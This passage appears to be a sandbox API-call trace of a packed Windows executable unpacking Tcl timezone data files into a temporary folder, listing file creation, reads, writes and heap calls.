hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.061] CloseHandle (hObject=0x10c) returned 1 [0041.061] GetLastError () returned 0x0 [0041.061] SetLastError (dwErrCode=0x0) [0041.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.061] GetFileType (hFile=0x10c) returned 0x1 [0041.061] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.061] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.061] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.061] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.061] CloseHandle (hObject=0x10c) returned 1 [0041.061] GetLastError () returned 0x0 [0041.061] SetLastError (dwErrCode=0x0) [0041.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Melbourne") returned 76 [0041.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Melbourne" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\melbourne"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.062] GetLastError () returned 0x2 [0041.062] SetLastError (dwErrCode=0x2) [0041.062] GetLastError () returned 0x2 [0041.062] SetLastError (dwErrCode=0x2) [0041.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Melbourne", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Melbourne", lpFilePart=0x0) returned 0x4b [0041.062] GetLastError () returned 0x2 [0041.062] SetLastError (dwErrCode=0x2) [0041.062] GetLastError () returned 0x2 [0041.062] SetLastError (dwErrCode=0x2) [0041.062] GetLastError () returned 0x2 [0041.062] SetLastError (dwErrCode=0x2) [0041.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Melbourne") returned 76 [0041.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Melbourne" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\melbourne"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.063] GetFileType (hFile=0x10c) returned 0x1 [0041.063] htonl (hostlong=0x7a1e0000) returned 0x1e7a [0041.063] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.064] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe7a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe7a, lpOverlapped=0x0) returned 1 [0041.064] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.064] CloseHandle (hObject=0x10c) returned 1 [0041.064] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.064] htonl (hostlong=0x40000000) returned 0x40 [0041.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.064] GetFileType (hFile=0x10c) returned 0x1 [0041.064] htonl (hostlong=0x7d865b00) returned 0x5b867d [0041.065] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60367d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.065] htonl (hostlong=0x8b000000) returned 0x8b [0041.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.065] htonl (hostlong=0x8b000000) returned 0x8b [0041.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.065] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.065] htonl (hostlong=0xb9000000) returned 0xb9 [0041.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55d428 [0041.065] htonl (hostlong=0x8b000000) returned 0x8b [0041.065] htonl (hostlong=0xb9000000) returned 0xb9 [0041.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.065] CloseHandle (hObject=0x10c) returned 1 [0041.065] GetLastError () returned 0x0 [0041.065] SetLastError (dwErrCode=0x0) [0041.065] GetLastError () returned 0x0 [0041.065] SetLastError (dwErrCode=0x0) [0041.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.065] GetFileType (hFile=0x10c) returned 0x1 [0041.065] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.066] CloseHandle (hObject=0x10c) returned 1 [0041.066] GetLastError () returned 0x0 [0041.066] SetLastError (dwErrCode=0x0) [0041.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.066] GetFileType (hFile=0x10c) returned 0x1 [0041.066] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.066] CloseHandle (hObject=0x10c) returned 1 [0041.066] GetLastError () returned 0x0 [0041.066] SetLastError (dwErrCode=0x0) [0041.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.066] GetFileType (hFile=0x10c) returned 0x1 [0041.067] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.067] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.067] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.067] CloseHandle (hObject=0x10c) returned 1 [0041.067] GetLastError () returned 0x0 [0041.067] SetLastError (dwErrCode=0x0) [0041.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\NSW") returned 70 [0041.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\NSW" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\nsw"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.067] GetLastError () returned 0x2 [0041.067] SetLastError (dwErrCode=0x2) [0041.067] GetLastError () returned 0x2 [0041.067] SetLastError (dwErrCode=0x2) [0041.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\NSW", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\NSW", lpFilePart=0x0) returned 0x45 [0041.067] GetLastError () returned 0x2 [0041.067] SetLastError (dwErrCode=0x2) [0041.067] GetLastError () returned 0x2 [0041.067] SetLastError (dwErrCode=0x2) [0041.067] GetLastError () returned 0x2 [0041.067] SetLastError (dwErrCode=0x2) [0041.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\NSW") returned 70 [0041.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\NSW" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\nsw"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.068] GetFileType (hFile=0x10c) returned 0x1 [0041.068] htonl (hostlong=0xb9000000) returned 0xb9 [0041.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.068] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0041.069] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.069] CloseHandle (hObject=0x10c) returned 1 [0041.069] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d428 | out: hHeap=0x530000) returned 1 [0041.069] htonl (hostlong=0x30000000) returned 0x30 [0041.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.069] GetFileType (hFile=0x10c) returned 0x1 [0041.069] htonl (hostlong=0x8875b00) returned 0x5b8708 [0041.069] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x603708, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.069] htonl (hostlong=0x8a000000) returned 0x8a [0041.069] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0041.069] htonl (hostlong=0x8a000000) returned 0x8a [0041.069] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.069] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.069] htonl (hostlong=0xbb000000) returned 0xbb [0041.069] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55dcc0 [0041.069] htonl (hostlong=0x8a000000) returned 0x8a [0041.070] htonl (hostlong=0xbb000000) returned 0xbb [0041.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.070] CloseHandle (hObject=0x10c) returned 1 [0041.070] GetLastError () returned 0x0 [0041.070] SetLastError (dwErrCode=0x0) [0041.070] GetLastError () returned 0x0 [0041.070] SetLastError (dwErrCode=0x0) [0041.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.070] GetFileType (hFile=0x10c) returned 0x1 [0041.070] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.070] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.070] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.070] CloseHandle (hObject=0x10c) returned 1 [0041.070] GetLastError () returned 0x0 [0041.070] SetLastError (dwErrCode=0x0) [0041.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.071] GetFileType (hFile=0x10c) returned 0x1 [0041.071] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.071] GetFileInformationByHandleEx (in: hFile=0x10c, 